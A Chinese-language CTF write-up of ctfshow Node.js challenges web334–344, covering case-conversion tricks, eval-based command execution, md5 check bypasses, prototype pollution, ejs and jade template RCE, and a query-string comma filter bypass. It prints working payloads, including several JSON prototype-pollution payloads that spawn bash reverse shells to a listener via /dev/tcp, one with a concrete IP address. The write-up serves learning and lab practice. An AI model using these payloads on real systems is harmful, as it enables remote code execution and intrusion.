前言

nodejs感觉有好多东西要学,看的比较杂,还是系统的做一做题总结一下吧,以后有机会再去深入

web334

题目给了个zip,解压下来就是源码
login.js

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;

user.js

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

登录题目是个登录框,明显要登录进去,分析下代码后注意看这里

发现传入的不能为CTFSHOW,但它会把它进行大写的转化,转化后要等于CTFSHOW,密码也就是123456,很简单,直接构造

username:ctfshow
passwd:123456

不过之前看原型链污染的时候看到了toUpperCase()和toLowerCase()这两个函数,这里就顺便总结一下
他们本来的功能是大小写转换,但是由于他们混入了两个特殊的字符也可以转化

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

P神文章里详细fuzz了toUpperCase这个函数:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

web335

打开f12里面源码找到提示

随便传了个值被返回了出来

猜测应该是代码执行,后端代码应该是eval('console.log(xxx)'),网上搜一下用child_process模块去打。(如果用exec函数,返回值还是一个ChildProcess,所以要用execsync或者soawnsync)官方文档

require('child_process').execSync('ls').toString()
或者
require('child_process').spawnSync('ls',['./']).stdout.toString()

继续找

require('child_process').execSync('cat fl00g.txt').toString()
或者
require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

web336

和上面一道题一样,不过测试发现过滤了exec,用第二方法就好了,也可以用空格进行拼接
?eval=require('child_process')'ex'+'ecSync'(要url编码一下,+号会被url解析为空格)

web337

给了源码

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
      res.end(flag);
  }else{
      res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

直接看这里

  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
    res.end(flag);

php的弱类型做多了自然想到了数组,先试试/?a[]=1&b[]=2,发现不行。然后再仔细读了读代码,首先a[]=1&b[]=2这样传后相当于传的是a[0]=1&b[0]=2,也相当于定义一个变量a=[1]&b=[2]再进行拼接得到的是1flag和2flag,他们两个的md5明显不相同,那怎么办呢。
由于js里面传数组只能是数组索引,当传入非数字索引的时候?a[x]=1&b[x]=2。a和b就变成了里面的对象了

let a={
    x:'1'
}
console.log(a+"flag{123}")
//返回的是: [object Object]flag{123}

这样拼接后的md5就相同了,也就可以绕过了
看了feng师傅的文章也学到了第二种方法
当传入a[]=1&b[]=2的时候,req.query.a返回的是a=[1]&b=[2]。也是数组,把数组进行拼接的时候是这样的

console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

那就不执着于md5那里了,直接构造?a[]=1&b=1就好了

web338

给了源码,主要是login.js这一部分

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

主要是这里

  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);

去看一看copy函数

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

先看看 JavaScript Prototype 原型链污染
可以类比p神文章里面的merge,这个形式也是比较明显的原型链污染了,用payload抓包后直接打就好了

{"__proto__":{"ctfshow":"36dboy"}}

简单点说就是req.body使我们传进去的,而我们通过这个方法去污染user的原型链,也就污染了object,基类里面也就会存在ctfshow:36dboy了。

web339

其实在做这道题之前,强烈建议把p神那篇文章弄透,放两个连接:
https://xz.aliyun.com/t/7184#toc-2
p神
拿到后和上面一道题是差不多的,不过在route里面多了一个api.js
api.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

module.exports = router;

然后login.js里面登录成功的条件换成了

  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);

本来只需要满足污染后有个ctfshow等于flag就可以了,但其实做起来才发现,flag的值根本找不到,换句话说,这道题的突破口可能根本不在这。

在回过头来看看api.js,这个模板起的是渲染的作用

这里面也有两个点值得注意,首先是使用了express框架,express框架可以通过设置Content-Type来进行JSON解析,还有一个点是{query:Function(query)(query)}
这个点和p神文章里面的拼接是相似的。也就是说,污染后构造的条件不再是满足login的条件,而是让渲染api模板的时候构造一个恶意的function,也就是控制里面的query。
先在登录的时候抓包污染一次

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1\"')"}}

然后再抓包post访问/api,我之前想了一个特别弱智的问题,为啥不能url直接传参/api进入,其实抓包的时候进入login别人就是post进入的,所以直接改路由就好了。

进入后相当于触发了那个方法,监听成功了找flag就行,falg在/app/routes/login.js里面
解释一下p神文章里面为什么没有用require函数

Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。

然后看师傅们的wp学习发现还有一种方法
大概就是利用ejs这个模板渲染引擎,具体也没去太了解(主要自己太菜了
参考文章:
https://xz.aliyun.com/t/6113
Express+lodash+ejs: 从原型链污染到RCE
然后直接用payload打就行了

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}

发完包后只要找到一个有render渲染的页面(首页就行)刷新一下就好了

web340

基本和上一题差不多,主要是login.js里面的这一段变了

  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);

调试一下,看到确实是第二层的prototype才是object,意思就是套两层就可以了,其他步骤和上面一样

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1\"')"}}}

不过其实我觉得可以通过污染两层方法里面的变量让if满足后输出flag,可是我不会构造。。。还是太菜

web341

没有了api.js,用之前ejs漏洞,只需要找到一个有render的界面就可以了,传入payload后刷新一次就好

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/139.196.123.120/7777 0>&1\"');var __tmp2"}}}

web342/343

参考链接https://xz.aliyun.com/t/7025
模板引擎被改成了jade
改成POST发包到/login,再加上Content-Type: application/json,传入payload

{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1\"')"}}}

再刷新一下页面就监听成功了

web344

直接给了源码

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
      res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
      res.end(flag);
  }else{
      res.end('where is flag. :)');
  }

});
req.query: 解析后的 url 中的 querystring,如 ?name=haha,req.query 的值为 {name: 'haha'}
req.params: 解析 url 中的占位符,如 /:name,访问 /haha,req.params 的值为 {name: 'haha'}
req.body: 解析后请求体,需使用相关的模块,如 body-parser,请求体为 {"name": "haha"},则 req.body 为 {name: 'haha'}

req.query.query,明显是让我们传参一个数组为/?query={"name":"admin","password":"ctfshow","isVIP":true}

但是注意他是过滤了8c|2c,8c网上查了是一个特别奇怪的字符,不用管,2c是,的url编码,因为req.url是经过url编码的,也就是说他会解码一次,不过这里编码逗号绕不过,因为2c被过滤了。看了feng师傅的博客,发现这里要用到node.js本身的特性。

传入:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

首先就是node.js处理req.query.query的时候,它不像php那样,后面get传的query值会覆盖前面的,而是会把这些值都放进一个数组中。而JSON.parse居然会把数组中的字符串都拼接到一起,再看满不满足格式,满足就进行解析,因此这样分开来传就可以绕过逗号了。至于c那个之所以要再进行url编码成%63,就是因为前面的%22,会造成%22c,正好ban了2c,所以c也需要进行url编码。

最后

连着搞了3天,感觉好多东西学的很浅显,也没有深入去学习,这个真的好难啃啊,等以后代码功底好一点了,再来接着搞。